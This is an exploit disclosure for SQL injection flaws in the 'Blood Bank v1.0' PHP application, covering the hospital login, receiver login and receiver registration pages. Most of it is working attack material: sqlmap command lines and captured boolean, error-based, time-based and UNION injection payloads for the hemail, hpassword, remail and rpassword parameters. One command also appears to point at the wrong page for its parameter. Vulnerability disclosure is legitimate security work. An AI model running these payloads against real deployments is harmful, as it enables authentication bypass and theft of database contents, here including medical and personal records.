# Exploit Title: Blood Bank v1.0 SQL Injection Vulnerability # Date: 2023-11-14 # Exploit Author: Ersin Erenler # Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code # Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip # Version: 1.0 # Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0 # CVE : CVE-2023-46014, CVE-2023-46017, CVE-2023-46018 ------------------------------------------------------------------------------- 1. Description: The lack of proper input validation and sanitization on the 'hemail' and 'hpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database. Vulnerable File: /hospitalLogin.php Parameter Names: hemail, hpassword 2. Proof of Concept: ---------------------- Execute sqlmap using either the 'hemain' or 'hpassword' parameter to retrieve the current database: sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p hemail --risk 3 --level 3 --dbms mysql --batch --current-db SQLMap Response: ---------------------- Parameter: hemail (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: hemail=test@test' AND 3778=(SELECT (CASE WHEN (3778=3778) THEN 3778 ELSE (SELECT 9754 UNION SELECT 4153) END))-- -&hpassword=test&hlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: hemail=test@test' OR (SELECT 3342 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(3342=3342,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NSQu&hpassword=test&hlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: hemail=test@test' AND (SELECT 5639 FROM (SELECT(SLEEP(5)))ulgW)-- QYnb&hpassword=test&hlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: hemail=test@test' UNION ALL SELECT CONCAT(0x716a7a6b71,0x567a4f6f4b556976707668696878754f48514d6e63424a706f70714e6f62684f504a7a565178736a,0x7170767a71),NULL,NULL,NULL,NULL,NULL-- -&hpassword=test&hlogin=Login ------------------------------------------------------------------------------- 1. Description: The lack of proper input validation and sanitization on the 'remail' and 'rpassword' parameters allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database Vulnerable File: /receiverLogin.php Parameter Names: remail, rpassword 2. Proof of Concept: ---------------------- Execute sqlmap using either the 'remail' or 'rpassword' parameter to retrieve the current database: sqlmap -u "http://localhost/bloodbank/file/receiverLogin.php" --method POST --data "remail=test@test&rpassword=test&rlogin=Login" -p remail --risk 3 --level 5 --dbms mysql --batch --current-db sqlmap -u "http://localhost/bloodbank/file/hospitalLogin.php" --method POST --data "hemail=test@test&hpassword=test&hlogin=Login" -p rpassword --risk 3 --level 5 --dbms mysql --batch --current-db SQLMap Response: ---------------------- --- Parameter: remail (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: remail=test@test' AND 1348=(SELECT (CASE WHEN (1348=1348) THEN 1348 ELSE (SELECT 5898 UNION SELECT 1310) END))-- -&rpassword=test&rlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: remail=test@test' OR (SELECT 9644 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(9644=9644,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HyEh&rpassword=test&rlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: remail=test@test' AND (SELECT 5587 FROM (SELECT(SLEEP(5)))hWQj)-- NUfN&rpassword=test&rlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: remail=test@test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x4e764e5452486270544a6e4c705a79535a667441756d556b416e7961484a534a647542597a61466f,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rpassword=test&rlogin=Login --- --- Parameter: rpassword (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: remail=test@test&rpassword=test' AND 9149=(SELECT (CASE WHEN (9149=9149) THEN 9149 ELSE (SELECT 9028 UNION SELECT 5274) END))-- -&rlogin=Login Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: remail=test@test&rpassword=test' OR (SELECT 6087 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(6087=6087,1))),0x7178706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VRqW&rlogin=Login Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: remail=test@test&rpassword=test' AND (SELECT 4449 FROM (SELECT(SLEEP(5)))eegb)-- Cuoy&rlogin=Login Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: remail=test@test&rpassword=test' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x6e686d776376736a706f47796d474a736a48566f72625a4e6d537247665a444f684154684b476d62,0x7178706271),NULL,NULL,NULL,NULL,NULL-- -&rlogin=Login --- ------------------------------------------------------------------------------- # Description: The lack of proper input validation and sanitization on the 'remail' parameter allows an attacker to craft SQL injection queries, bypassing authentication mechanisms and gaining unauthorized access to the database. Vulnerable File: /receiverReg.php Parameter Name: remail # Proof of Concept: ---------------------- 1. Save the POST request of receiverReg.php to a request.txt file --- POST /bloodbank/file/receiverReg.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------2653697510272605730288393868 Content-Length: 877 Origin: http://localhost Connection: close Referer: http://localhost/bloodbank/register.php Cookie: PHPSESSID=<some-cookie-value> Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rname" test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rbg" A+ -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rcity" test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rphone" 05555555555 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="remail" test@test -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rpassword" test123 -----------------------------2653697510272605730288393868 Content-Disposition: form-data; name="rregister" Register -----------------------------2653697510272605730288393868-- --- 2. Execute sqlmap using 'remail' parameter to retrieve the current database: sqlmap -r request.txt -p remail --risk 3 --level 3 --dbms mysql --batch --current-db